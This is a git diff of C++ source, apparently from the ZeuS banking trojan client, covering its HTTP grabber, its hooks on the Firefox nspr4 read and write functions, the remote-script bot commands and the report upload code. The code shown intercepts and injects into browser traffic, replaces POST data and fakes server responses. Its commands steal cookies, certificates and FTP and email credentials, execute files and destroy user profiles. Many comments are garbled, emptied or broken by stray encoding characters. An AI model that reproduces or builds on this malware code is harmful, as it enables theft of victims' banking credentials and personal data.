*mask, DWORD maskSize, const void *context, DWORD contextSize, LPDWORD offsetBegin, LPDWORD offsetEnd, DWORD advFlags); /* - Добавление элемента в список URL. + URL. - IN listId - тип списка LocalConfig::ITEM_URLLIST_*. - IN OUT localConfig - локальная конфигурация. - IN urlMask - маска URL. + IN listId - LocalConfig::ITEM_URLLIST_*. + IN OUT localConfig - . + IN urlMask - URL. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _addUrlMaskToList(DWORD listId, BinStorage::STORAGE **localConfig, const LPSTR urlMask); /* - Удаление элемента из список URL. + URL. - IN listId - тип списка LocalConfig::ITEM_URLLIST_*. - IN OUT localConfig - локальная конфигурация. - IN maskOfurlMask - маска маски URL. + IN listId - LocalConfig::ITEM_URLLIST_*. + IN OUT localConfig - . + IN maskOfurlMask - URL. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _removeUrlMaskFromList(DWORD listId, BinStorage::STORAGE **localConfig, const LPSTR maskOfurlMask); /* - Проверка находиться ли URL в списке. + URL . - IN listId - тип списка LocalConfig::ITEM_URLLIST_*. - IN localConfig - локальная конфигурация. + IN listId - LocalConfig::ITEM_URLLIST_*. + IN localConfig - . IN url - URL. - IN urlSize - размер URL. - IN advFlags - дополнительные флаги Str::MATCH_*. + IN urlSize - URL. + IN advFlags - Str::MATCH_*. - Return - true - URL найдена, - false - URL не найдена. + Return - true - URL , + false - URL . */ bool _isUrlInList(DWORD listId, const BinStorage::STORAGE *localConfig, const LPSTR url, DWORD urlSize, DWORD advFlags); /* - Анализ URL, и установка соответвующих задач для нее. + URL, . - IN OUT requestData - данные запроса. + IN OUT requestData - . Return - ANALIZEFLAG_*. */ DWORD analizeRequestData(REQUESTDATA *requestData); /* - Исполнение инжектов в контексте. + . IN url - URL. - IN OUT context - контекст для изменения. - IN OUT contextSize - размер контекста. - IN dataList - список инжектов. - IN count - кол. инжектов. + IN OUT context - . + IN OUT contextSize - . + IN dataList - . + IN count - . . - Return - true - в конекст были внесены изменения, - false - изменения не были внесены (не означает ошибку). + Return - true - , + false - ( ). */ bool _executeInjects(const LPSTR url, LPBYTE *context, LPDWORD contextSize, const INJECTFULLDATA *dataList, DWORD count); /* - Проверяет, является ли массив фейком. + , . - IN dataList - массив. - IN count - размер массива. + IN dataList - . + IN count - . - Return - true - является, - false - не является. + Return - true - , + false - . */ bool _isFakeData(INJECTFULLDATA *dataList, DWORD count); /* - Освобождение всех данных REQUESTDATA выделеяемых через Mem. + REQUESTDATA Mem. - IN OUT requestData - структура. + IN OUT requestData - . */ void _freeRequestData(REQUESTDATA *requestData); /* - Освобождение всех данных INJECTFULLDATA выделеяемых через Mem. + INJECTFULLDATA Mem. - IN OUT data - структура. + IN OUT data - . */ void _freeInjectFullData(INJECTFULLDATA *data); /* - Освобождение всего массива INJECTFULLDATA. + INJECTFULLDATA. - IN dataList - массив. - IN count - размер массива. + IN dataList - . + IN count - . */ void _freeInjectFullDataList(INJECTFULLDATA *dataList, DWORD count); - /*В В В В Creating a fake response from the server. + /*    Creating a fake response from the server. -В В В В IN requestData - data of the original query. -В В В В IN fakeData - Faika data. +    IN requestData - data of the original query. +    IN fakeData - Faika data. -В В В В Return - the handle of the server's response, NULL - otherwise. -В В */ +    Return - the handle of the server's response, NULL - otherwise. +  */ HINTERNET _createFakeResponse(REQUESTDATA *requestData, INJECTFULLDATA *fakeData); }; #endif diff --git a/source/client/localconfig.h b/source/client/localconfig.h index f9c464b..328f7a2 100644 --- a/source/client/localconfig.h +++ b/source/client/localconfig.h @@ -1,5 +1,5 @@ /* - Работа с локальной конфигурацией. + . */ #pragma once @@ -17,36 +17,36 @@ namespace LocalConfig }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Загрузка текущей конфигурации в память процесса. + . - Return - указатель на конфиг(необходимо освободить через Mem), или NULL в случаи ошибки. + Return - ( Mem), NULL . */ BinStorage::STORAGE *getCurrent(void); /* - Получение текущей конфигурации с блокировкой доступа для других потоков и процессов. + . - Return - указатель на конфиг(необходимо освободить через Mem), или NULL в случаи ошибки. + Return - ( Mem), NULL . */ BinStorage::STORAGE *beginReadWrite(void); - /*В В В В Unlock established beginReadWrite () and save the changes. + /*    Unlock established beginReadWrite () and save the changes. -В В В В IN OUT binStorage - configuration for the conservation, preservation, or NULL if not required. At the exit -В В В В В В В В В В В В В В В В В В В В В В В В buffer content is not suitable for use. -В В В В  -В В В В Return - true - the configuration has been saved, -В В В В В В В В В В В В В В В В В В В В В В В В false - config is not saved. -В В */ +    IN OUT binStorage - configuration for the conservation, preservation, or NULL if not required. At the exit +                        buffer content is not suitable for use. +     +    Return - true - the configuration has been saved, +                        false - config is not saved. +  */ bool endReadWrite(BinStorage::STORAGE *binStorage); }; diff --git a/source/client/localsettings.h b/source/client/localsettings.h index 51fb148..b99738c 100644 --- a/source/client/localsettings.h +++ b/source/client/localsettings.h @@ -1,6 +1,6 @@ /* - Управление локальными настройками. - Здесь хранятся настройки к котороым требуется быстрый и частый доступ. + . + . */ #pragma once @@ -36,39 +36,39 @@ namespace LocalSettings # pragma pack(pop) /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение текущих настроек без блокировки. + . - OUT settings - буфер для настроек. + OUT settings - . */ void getCurrent(SETTINGS *settings); /* - Получение текущих настроек с блокировкой доступа для других потоков и процессов. + . - OUT settings - буфер для настроек. + OUT settings - . - Return - true - настроки прочитаны, доступ заблокирован, - false - произошла ошибка. + Return - true - , , + false - . */ bool beginReadWrite(SETTINGS *settings); - /*В В В В Unlock established beginReadWrite () and save the changes. + /*    Unlock established beginReadWrite () and save the changes. -В В В В IN OUT settings - settings for the conservation, preservation, or NULL if not required. At the exit -В В В В В В В В В В В В В В В В В В В В В В buffer content is not suitable for use. -В В В В  -В В В В Return - true - settings successfully saved, -В В В В В В В В В В В В В В В В В В В В В В false - the settings are not saved. -В В */ +    IN OUT settings - settings for the conservation, preservation, or NULL if not required. At the exit +                      buffer content is not suitable for use. +     +    Return - true - settings successfully saved, +                      false - the settings are not saved. +  */ bool endReadWrite(SETTINGS *settings); }; diff --git a/source/client/nspr4hook.cpp b/source/client/nspr4hook.cpp index 8ccf696..f2c788b 100644 --- a/source/client/nspr4hook.cpp +++ b/source/client/nspr4hook.cpp @@ -22,7 +22,7 @@ #if(BO_NSPR4 > 0) //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Nekotrye like structures from NSPR4. +// Nekotrye like structures from NSPR4. //////////////////////////////////////////////////// //////////////////////////////////////////////// //PRFileDesc. @@ -89,7 +89,7 @@ typedef __int32 (__cdecl *PR_GETERROR)(void); static PR_GETERROR prGetError; //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Connection table. +// Connection table. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef struct @@ -125,11 +125,11 @@ static DWORD connectionsCount; static CRITICAL_SECTION connectionsCs; /* - Поиск соединенения в таблице. + . - IN fd - хэндл. + IN fd - . - Return - индекс соединения в таблице, или (DWORD)-1 если не найдено. + Return - , (DWORD)-1 . */ static DWORD connectionFind(const PRFILEDESC *fd) { @@ -138,11 +138,11 @@ static DWORD connectionFind(const PRFILEDESC *fd) } /* - Добавление соединения в таблицу. + . - IN fd - хэндл. + IN fd - . - Return - индекс соединения в таблице, или (DWORD)-1 если не найдено. + Return - , (DWORD)-1 . */ static DWORD connectionAdd(const PRFILEDESC *fd) { @@ -183,9 +183,9 @@ static DWORD connectionAdd(const PRFILEDESC *fd) } /* - Удаление соединения из таблицы. + . - IN index - индекс соединения. + IN index - . */ static void connectionRemove(DWORD index) { @@ -217,21 +217,21 @@ static void connectionRemove(DWORD index) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Кэлбэк enumProfiles(). + enumProfiles(). - IN path - полный путь профиля. - IN param - произволный параметр. + IN path - . + IN param - . - Return - true - для продолжения поиска, - false - для прерывания поиска. + Return - true - , + false - . */ typedef bool (ENUMPROFILESPROC)(const LPWSTR path, void *param); /* - Перечелсение всех профилей текущего юзера. + . - IN proc - кэллбэк. - IN param - произволный параметр для кээлбэка. + IN proc - . + IN param - . */ static void enumProfiles(ENUMPROFILESPROC proc, void *param) { @@ -391,15 +391,15 @@ void Nspr4Hook::updateAddresses(HMODULE moduleHandle, void *openTcpSocket, void //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Заполнение HttpGrabber::REQUESTDATA. + HttpGrabber::REQUESTDATA. - OUT requestData - структура. Если (requestData->handle == NULL) запрос нужно проигнорировать. - IN fd - хэндл запроса. - IN data - данные. - IN dataSize - размер данных. + OUT requestData - . (requestData->handle == NULL) . + IN fd - . + IN data - . + IN dataSize - . - Return - кол. байт, через котороу нужно начать обрабатывать следущий запрос, - (DWORD)-1 - в случаи ошибки, дальнейший парсинг соединения делать нельзя. + Return - . , , + (DWORD)-1 - , . */ static DWORD fillRequestData(HttpGrabber::REQUESTDATA *requestData, const PRFILEDESC *fd, const void *data, DWORD dataSize) { @@ -472,7 +472,7 @@ static DWORD fillRequestData(HttpGrabber::REQUESTDATA *requestData, const PRFILE schemeSize = 8; } - requestData->url = (LPSTR)Mem::alloc(8/*scheme*/ + hostSize + 1/*слеш*/ + uriSize); + requestData->url = (LPSTR)Mem::alloc(8/*scheme*/ + hostSize + 1/**/ + uriSize); if(requestData->url == NULL)return bytesToSkip; //Scheme @@ -539,16 +539,16 @@ static DWORD fillRequestData(HttpGrabber::REQUESTDATA *requestData, const PRFILE } /* - Подмена POST-данных в запросе. + POST- . - IN originalRequest - оригинальный HTTP-запрос. - IN originalRequestSize - размер originalRequest. - IN newPostData - новые POST-данные. - IN newPostDataSize - размер newPostData. - OUT newRequest - новый HTTP-запрос. Нужно освободить через Mem. + IN originalRequest - HTTP-. + IN originalRequestSize - originalRequest. + IN newPostData - POST-. + IN newPostDataSize - newPostData. + OUT newRequest - HTTP-. Mem. - Return - размер нового HTTP-запроса, - 0 - в случаи ошибки. + Return - HTTP-, + 0 - . */ static DWORD replacePostData(const void *originalRequest, DWORD originalRequestSize, const void *newPostData, DWORD newPostDataSize, void **newRequest) { @@ -602,7 +602,7 @@ static DWORD replacePostData(const void *originalRequest, DWORD originalRequestS } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Analysis of HTTP. +// Analysis of HTTP. //////////////////////////////////////////////////// //////////////////////////////////////////////// //Flags HTTPREQUESTINFO.flags. @@ -623,16 +623,16 @@ typedef struct }HTTPREQUESTINFO; /* - Анализ HTTP-заголовка. + HTTP-. - OUT info - данные. - IN request - запрос. - IN requestSize - размер request. + OUT info - . + IN request - . + IN requestSize - request. - Return - 1 - заголовок прочитан, - 0 - заголовок еще не прочитан. - -1 - ошибка/ответ не интересен + Return - 1 - , + 0 - . + -1 - / */ static int analizeHttpResponse(HTTPREQUESTINFO *info, const void *request, DWORD requestSize) { @@ -726,18 +726,18 @@ static int analizeHttpResponse(HTTPREQUESTINFO *info, const void *request, DWORD } /* - Анналлиз контента. + . - IN OUT info - данные. - IN request - запрос. - IN requestSize - размер request. - IN isClose - true - получено событие Close от сервера. - OUT content - контент. Выделяется только при возращении 1. - OUT contentSize - размер content. - - Return - 1 - контент прочитан, - 0 - контент еще не прочитан. - -1 - ошибка/ответ не интересен + IN OUT info - . + IN request - . + IN requestSize - request. + IN isClose - true - Close . + OUT content - . 1. + OUT contentSize - content. + + Return - 1 - , + 0 - . + -1 - / */ static int analizeHttpResponseBody(HTTPREQUESTINFO *info, const LPBYTE buffer, DWORD bufferSize, bool isClose, void **content, LPDWORD contentSize) { @@ -1076,7 +1076,7 @@ __int32 __cdecl Nspr4Hook::hookerPrWrite(void *fd, const void *buf, __int32 amou if(Core::isActive() && buf != NULL && amount > 0) { /* - Я просто охуел писать этот алгоритм. + . */ CWA(kernel32, EnterCriticalSection)(&connectionsCs); DWORD connectionIndex = connectionFind((PRFILEDESC *)fd); diff --git a/source/client/nspr4hook.h b/source/client/nspr4hook.h index 50c5516..a7a7220 100644 --- a/source/client/nspr4hook.h +++ b/source/client/nspr4hook.h @@ -1,5 +1,5 @@ /* - Перехват nspr4.dll + nspr4.dll */ #pragma once @@ -7,53 +7,53 @@ namespace Nspr4Hook { /* - Инициализация. + . - IN homePage - принудительная установка домашней страницы, если NULL или [0]=0, то не применяется. + IN homePage - , NULL [0]=0, . */ void init(const LPWSTR homePage); /* - Деинициализация. + . */ void uninit(void); /* - Получение куков Wininet. + Wininet. */ void _getCookies(void); /* - Удаление куков Wininet. + Wininet. */ void _removeCookies(void); /* - Установка адерсов оригинальных функций. Функция должна вызываться в процессе ОДИН РАЗ. + . . - IN module - модуль. - IN readAddress - адрес оригинальной PR_Read. - IN writeAddress - адрес оригинальной PR_Write. + IN module - . + IN readAddress - PR_Read. + IN writeAddress - PR_Write. */ void updateAddresses(HMODULE moduleHandle, void *openTcpSocket, void *close, void *readAddress, void *writeAddress); /* - Перехватчик PR_OpenTCPSocket. + PR_OpenTCPSocket. */ void *__cdecl hookerPrOpenTcpSocket(int af); /* - Перехватчик PR_Read. + PR_Read. */ int __cdecl hookerPrClose(void *fd); /* - Перехватчик PR_Read. + PR_Read. */ __int32 __cdecl hookerPrRead(void *fd, void *buf, __int32 amount); - /*В В В В Interceptor PR_Write. -В В */ + /*    Interceptor PR_Write. +  */ __int32 __cdecl hookerPrWrite(void *fd, const void *buf, __int32 amount); }; #endif diff --git a/source/client/osenv.h b/source/client/osenv.h index 764d8e0..bf9b1e6 100644 --- a/source/client/osenv.h +++ b/source/client/osenv.h @@ -1,5 +1,5 @@ /* - Данные OC. + OC. */ #pragma once @@ -29,36 +29,36 @@ namespace OsEnv }OSINFO; # pragma pack(pop) /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение текущей версии Windows. + Windows. Return - VERSION_ *. */ DWORD _getVersion(void); /* - Получение текущей версии Windows. + Windows. - OUT oi - версия Windows. + OUT oi - Windows. */ void _getVersionEx(OSINFO *oi); - /*В В В В Getting the user profile directory on the SID. + /*    Getting the user profile directory on the SID. -В В В В IN sid - SID. -В В В В OUT buffer - a buffer for the path must be at least MAX_PATH. +    IN sid - SID. +    OUT buffer - a buffer for the path must be at least MAX_PATH. -В В В В Return - true - the path is successfully received, -В В В В В В В В В В В В В В В В В false - the path has not been received. -В В */ +    Return - true - the path is successfully received, +                 false - the path has not been received. +  */ bool _getUserProfileDirectoryhBySid(PSID sid, LPWSTR buffer); }; diff --git a/source/client/remotescript.cpp b/source/client/remotescript.cpp index 263f9a1..385da45 100644 --- a/source/client/remotescript.cpp +++ b/source/client/remotescript.cpp @@ -30,21 +30,21 @@ #include "..\common\comlibrary.h" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Tools. +// Tools. //////////////////////////////////////////////////// //////////////////////////////////////////////// #if(BO_WININET > 0 || BO_NSPR4 > 0) /* - Операции со списками HttpGrabber'а. + HttpGrabber'. IN listId - LocalConfig::ITEM_URLLIST_*. - IN add - true - добавление элементов в список, - false - удаление элементов из списка. - IN arguments - аргументы. - IN argumentsCount - кол. аргументов. + IN add - true - , + false - . + IN arguments - . + IN argumentsCount - . . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool httpGrabberListOperation(DWORD listId, bool add, const LPWSTR *arguments, DWORD argumentsCount) { @@ -85,7 +85,7 @@ static bool httpGrabberListOperation(DWORD listId, bool add, const LPWSTR *argum #endif //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Team. +// Team. //////////////////////////////////////////////////// //////////////////////////////////////////////// enum { @@ -99,7 +99,7 @@ enum static DWORD pendingFlags; /* - Выключение компьютера, пользователь должен обладать правами для этой операции. + , . */ static bool osShutdown(const LPWSTR *arguments, DWORD argumentsCount) { @@ -108,7 +108,7 @@ static bool osShutdown(const LPWSTR *arguments, DWORD argumentsCount) } /* - Перезагрузка компьютера, пользователь должен обладать правами для этой операции. + , . */ static bool osReboot(const LPWSTR *arguments, DWORD argumentsCount) { @@ -117,7 +117,7 @@ static bool osReboot(const LPWSTR *arguments, DWORD argumentsCount) } /* - Удаление бота с текущего пользователя. + . */ static bool botUninstall(const LPWSTR *arguments, DWORD argumentsCount) { @@ -126,8 +126,8 @@ static bool botUninstall(const LPWSTR *arguments, DWORD argumentsCount) } /* - Немедленное обновление файла конфигурации. Если казана URL, то обновление произойдет с указаной - URL, и такжебудеит принудительно запушен бот-файл обнволения указаный в загружаемой конфигурации. + . URL, + URL, - . */ static bool botUpdate(const LPWSTR *arguments, DWORD argumentsCount) { @@ -207,7 +207,7 @@ static bool fsSearchRemove(const LPWSTR *arguments, DWORD argumentsCount) } /* - Уничтожение текущего пользователя. + . */ static bool userDestroy(const LPWSTR *arguments, DWORD argumentsCount) { @@ -216,7 +216,7 @@ static bool userDestroy(const LPWSTR *arguments, DWORD argumentsCount) } /* - Завершение текущей сессии пользователя. + . */ static bool userLogoff(const LPWSTR *arguments, DWORD argumentsCount) { @@ -302,7 +302,7 @@ static bool userExecute(const LPWSTR *arguments, DWORD argumentsCount) #if(BO_WININET > 0 || BO_NSPR4 > 0) /* - Получение куков известных браузеров. + . */ static bool userCookiesGet(const LPWSTR *arguments, DWORD argumentsCount) { @@ -316,7 +316,7 @@ static bool userCookiesGet(const LPWSTR *arguments, DWORD argumentsCount) } /* - Удаление куков известных браузеров. + . */ static bool userCookiesRemove(const LPWSTR *arguments, DWORD argumentsCount) { @@ -331,7 +331,7 @@ static bool userCookiesRemove(const LPWSTR *arguments, DWORD argumentsCount) #endif /* - Сохранение серитифатов из MY. + MY. */ static bool userCertsGet(const LPWSTR *arguments, DWORD argumentsCount) { @@ -339,7 +339,7 @@ static bool userCertsGet(const LPWSTR *arguments, DWORD argumentsCount) } /* - Удаление серитифкатов из MY. + MY. */ static bool userCertsRemove(const LPWSTR *arguments, DWORD argumentsCount) { @@ -360,7 +360,7 @@ static bool userUrlUnblock(const LPWSTR *arguments, DWORD argumentsCount) #if(BO_WININET > 0 || BO_NSPR4 > 0) /* - Установка домашних страницы для всех поддерживаемых браузеров. + . */ static bool userHomepageSet(const LPWSTR *arguments, DWORD argumentsCount) { @@ -374,7 +374,7 @@ static bool userHomepageSet(const LPWSTR *arguments, DWORD argumentsCount) #if(BO_SOFTWARE_FTP > 0) /* - Получение данных FTP-клиентов. + FTP-. */ static bool userFtpClientsGet(const LPWSTR *arguments, DWORD argumentsCount) { @@ -391,7 +391,7 @@ static bool userFtpClientsGet(const LPWSTR *arguments, DWORD argumentsCount) #if(BO_SOFTWARE_EMAIL > 0) /* - Получение данных E-mail-клиентов. + E-mail-. */ static bool userEmailClientsGet(const LPWSTR *arguments, DWORD argumentsCount) { @@ -407,7 +407,7 @@ static bool userEmailClientsGet(const LPWSTR *arguments, DWORD argumentsCount) #endif /* - Получение куков флеш-плеера. + -. */ static bool userFlashPlayerGet(const LPWSTR *arguments, DWORD argumentsCount) { @@ -416,7 +416,7 @@ static bool userFlashPlayerGet(const LPWSTR *arguments, DWORD argumentsCount) } /* - Удаление куков флеш-плеера. + -. */ static bool userFlashPlayerRemove(const LPWSTR *arguments, DWORD argumentsCount) { @@ -425,7 +425,7 @@ static bool userFlashPlayerRemove(const LPWSTR *arguments, DWORD argumentsCount) } /* - Исполнение команд, которые должны исполниться после отправки ответа серверу. + , . */ static void executePendingCommands(void) { @@ -457,7 +457,7 @@ static void executePendingCommands(void) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Command structure. +// Command structure. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef bool (*COMMANDPROC)(const LPWSTR *arguments, DWORD argumentsCount); @@ -571,12 +571,12 @@ static int resultProc(DWORD loop, Report::SERVERSESSION *session) } /* - Проверка статус скрипта. + . - IN hash - MD5 хэш скрипта. + IN hash - MD5 . - Return - 0 - в случаи успеха, - CryptedStrings::id_* - в случаи провала. + Return - 0 - , + CryptedStrings::id_* - . */ static WORD getScriptStatusByHash(LPBYTE hash) { @@ -642,11 +642,11 @@ static WORD getScriptStatusByHash(LPBYTE hash) /* Execution of the script. - IN scriptText - текст скрипта. - OUT errorLine - строка на котроый произошла ошибка, или (DWORD)-1 если ошиюка произошла не на - строке. - Return - 0 - в случаи успеха, - CryptedStrings::id_* - случаи провала. + IN scriptText - . + OUT errorLine - , (DWORD)-1 + . + Return - 0 - , + CryptedStrings::id_* - . */ static WORD executeScript(LPWSTR scriptText, LPDWORD errorLine) { @@ -718,11 +718,11 @@ static WORD executeScript(LPWSTR scriptText, LPDWORD errorLine) return errorMessageId; } -/*В В The entry point for processing the script. +/*  The entry point for processing the script. -В В IN p - BinStorage:: STORAGE. +  IN p - BinStorage:: STORAGE. -В В Return - 0.*/ +  Return - 0.*/ static DWORD WINAPI scriptProc(void *p) { CoreHook::disableFileHookerForCurrentThread(true); diff --git a/source/client/remotescript.h b/source/client/remotescript.h index bdb2574..93c1f8d 100644 --- a/source/client/remotescript.h +++ b/source/client/remotescript.h @@ -1,5 +1,5 @@ /* - Исполнение скриптов бота. + . */ #pragma once @@ -8,23 +8,23 @@ namespace RemoteScript { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Run the script execution votdelnom flow. Flow should not be run from -В В В В Process:: INTEGRITY_LOW processes. + /*    Run the script execution votdelnom flow. Flow should not be run from +    Process:: INTEGRITY_LOW processes. -В В В В IN script - a script for execution. -В В В В  -В В В В Return - true - in the cases of the successful launch ispolenniya script (script will be released -В В В В В В В В В В В В В В В В automatically) -В В В В В В В В В В В В В В В В false - if an error (script to release its own). -В В */ +    IN script - a script for execution. +     +    Return - true - in the cases of the successful launch ispolenniya script (script will be released +                automatically) +                false - if an error (script to release its own). +  */ bool _exec(BinStorage::STORAGE *script); }; diff --git a/source/client/report.cpp b/source/client/report.cpp index b21157b..b8a6220 100644 --- a/source/client/report.cpp +++ b/source/client/report.cpp @@ -39,7 +39,7 @@ enum //Total strukura to work with the server. typedef struct { - BYTE threadType; //One of the values ​​TT_ *. + BYTE threadType; //One of the values ​​TT_ *. BinStorage::STORAGEARRAY storage; //Array. Crypt::RC4KEY rc4StorageKey; //The key for the configuration in the repository. WCHAR reportFile[MAX_PATH]; //Current file for processing. @@ -55,10 +55,10 @@ enum }; /* - Инициализация файла отчета. Должна вызываться ВСЕГДА перед началом операции на файлом отчетов. + . . - IN forWrite - инфиицализация для записи. - OUT tempFile - имя временного файла для текущей сессии. Может быть NULL. + IN forWrite - . + OUT tempFile - . NULL. */ static void initReportFile(bool forWrite, LPWSTR tempFile) { @@ -91,13 +91,13 @@ static void initReportFile(bool forWrite, LPWSTR tempFile) } /* - Добавления списка IP-адресов в отчет. + IP- . - IN OUT binStorage - отчет. - IN family - AF_INET или AF_INTET6. + IN OUT binStorage - . + IN family - AF_INET AF_INTET6. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool addIpAddressesToReport(BinStorage::STORAGE **binStorage, int family) { @@ -313,12 +313,12 @@ static int defaultSenderRequestProc(DWORD loop, Report::SERVERSESSION *session) //Deleting a file. REMOVE_REPORT_FILE: /* - В случаи ошибки открытия файла, получения следующий конфгурации, или достижения конца файла, - или ошибки BinStorage::_Combine(а вдруг суммарный размер конфигов привысил лимит одного конфига), - завершаем сессию и удаляем файл. + , , , + BinStorage::_Combine( ), + . - Так делается для минимизации возможности прекрашения отправки отчетов в случаи какой-то - странной ошибки. + - + . */ WDEBUG0(WDDT_INFO, "End of storage file founded, stopping session."); BinStorage::_closeStorageArray(&senderData->storage); @@ -352,14 +352,14 @@ static int defaultSenderResultProc(DWORD loop, Report::SERVERSESSION *session) return Report::SSPR_END; } -/*В В Search for a file to upload. +/*  Search for a file to upload. -В В OUT fileName - the full path of the file. -В В IN tempFile - the full path of the temporary file. -В В IN maxDelay - max delay time for the report max (errorDelay, normalDelay). +  OUT fileName - the full path of the file. +  IN tempFile - the full path of the temporary file. +  IN maxDelay - max delay time for the report max (errorDelay, normalDelay). -В В Return - true - the file is found, -В В В В В В В В В В В В В В В В В false - file not found.*/ +  Return - true - the file is found, +                 false - file not found.*/ static bool findReportFileForSending(LPWSTR fileName, LPWSTR tempFile, DWORD maxDelay) { //Check is not sent out a temporary file. diff --git a/source/client/report.h b/source/client/report.h index a561963..d52d7aa 100644 --- a/source/client/report.h +++ b/source/client/report.h @@ -1,5 +1,5 @@ /* - Сбор и отправка отчетов. + . */ #pragma once @@ -14,13 +14,13 @@ namespace Report LPSTR url; //URL of the server. /* - Функция вызываемая для формирования запроса. + . - IN loop - номер запроса для текущего соединения. - IN session - данные сессии указаные в StartServerSession. Но pSession->pPostData - будет - содержать копию оригинального pSession->pPostData, которую вы можете свободно - изменять внутри этой функции, все изменения будут уничтожены сразу после - выполенния запроса. Приминять функцию BinStorage::_pack нельзя. + IN loop - . + IN session - StartServerSession. pSession->pPostData - + pSession->pPostData, + , + . BinStorage::_pack . Return - SSPR_* */ @@ -28,13 +28,13 @@ namespace Report REQUESTPROC requestProc; /* - Функция вызываемая для обработки результата запроса (ответа сервера). Вызывается только в - случаи успешного применения BinStorage::_unpack для ответа сервера. + ( ). + BinStorage::_unpack . - IN loop - номер запроса для текущего соединения. - IN session - данные сессии указаные в StartServerSession. Но pSession->pPostData - будет - содержать ответ сервера (уже обработаный BinStorage::_unpack). Указатель будет - уничтожен сразу после выхода из этой функции. + IN loop - . + IN session - StartServerSession. pSession->pPostData - + ( BinStorage::_unpack). + . Return - SSPR_* */ @@ -78,124 +78,124 @@ namespace Report }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Добавление базовой информации в отчет. + . - IN OUT binStorage - конфигруция(отчет). Если на входе *pph == NULL, то функция создаст новую - конфигурацию - IN flags - флаги BIF_*. + IN OUT binStorage - (). *pph == NULL, + + IN flags - BIF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool addBasicInfo(BinStorage::STORAGE **binStorage, DWORD flags); /* - Создает потоков, служащий переодической отправки отчетов на сервер. + , . - IN group - группа потоков. + IN group - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _create(ThreadsGroup::GROUP *group); /* - Запуск сессии с сервером. + . - IN session - сессия. + IN session - . - Return - true - в случаи успешного заверщения сессии (соединение, корректность пакетов, - возврата SSPR_END от *_PROC) - false - в любом другом случаи. + Return - true - (, , + SSPR_END *_PROC) + false - . */ bool startServerSession(SERVERSESSION *session); /* - Запись данных в отчет (функция самого низкого уровня). + ( ). - IN type - тип лога BLT_*. - IN sourcePath - исходный путь или NULL. Обычно используется для данных BLT_FILE. - IN destPath - путь назначения или NULL. Обычно используется для данных BLT_FILE. - IN data - данные. - IN dataSize - размер данных. + IN type - BLT_*. + IN sourcePath - NULL. BLT_FILE. + IN destPath - NULL. BLT_FILE. + IN data - . + IN dataSize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool writeData(DWORD type, LPWSTR sourcePath, LPWSTR destPath, void *data, DWORD dataSize); /* - Запись IStream данных в отчет. + IStream . - IN type - тип лога BLT_*. - IN sourcePath - исходный путь или NULL. Обычно используется для данных BLT_FILE. - IN destPath - путь назначения или NULL. Обычно используется для данных BLT_FILE. - IN data - данные. + IN type - BLT_*. + IN sourcePath - NULL. BLT_FILE. + IN destPath - NULL. BLT_FILE. + IN data - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool writeIStream(DWORD type, LPWSTR sourcePath, LPWSTR destPath, IStream *data); /* - Запись в лог строки. + . - IN type - тип лога BLT_*. - IN sourcePath - исходный путь или NULL. Обычно используется для данных BLT_FILE. - IN destPath - путь назначения или NULL. Обычно используется для данных BLT_FILE. - IN string - строка. + IN type - BLT_*. + IN sourcePath - NULL. BLT_FILE. + IN destPath - NULL. BLT_FILE. + IN string - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool writeString(DWORD type, LPWSTR sourcePath, LPWSTR destPath, LPWSTR string); /* - Запись в лог строки по формату. + . - IN type - тип лога BLT_*. - IN sourcePath - исходный путь или NULL. Обычно используется для данных BLT_FILE. - IN destPath - путь назначения или NULL. Обычно используется для данных BLT_FILE. - IN format - формат строки. - IN ... - аргументы. + IN type - BLT_*. + IN sourcePath - NULL. BLT_FILE. + IN destPath - NULL. BLT_FILE. + IN format - . + IN ... - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool writeStringFormat(DWORD type, LPWSTR sourcePath, LPWSTR destPath, LPWSTR format, ...); /* - Запись файла в отчет. + . - IN file - исходный файл. - IN sourcePath - исходный путь, если указать NULL, то будет использоваться file. - IN destPath - путь назначения или NULL. + IN file - . + IN sourcePath - , NULL, file. + IN destPath - NULL. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool writeFile(LPWSTR file, LPWSTR sourcePath, LPWSTR destPath); - /*В В В В Recording folder (with subfolders) in a report in the form of an archive. + /*    Recording folder (with subfolders) in a report in the form of an archive. -В В В В IN path - the source folder. -В В В В IN fileMask - array of file masks. -В В В В IN fileMaskCount - col. elements in fileMask. -В В В В IN destPath - destination path, or NULL. -В В В В IN flags - flags WFAA_ *. +    IN path - the source folder. +    IN fileMask - array of file masks. +    IN fileMaskCount - col. elements in fileMask. +    IN destPath - destination path, or NULL. +    IN flags - flags WFAA_ *. -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    Return - true - if successful, +                       false - if an error occurs. +  */ bool writeFolderAsArchive(LPWSTR path, LPWSTR *fileMask, DWORD fileMaskCount, LPWSTR destPath, DWORD flags); }; diff --git 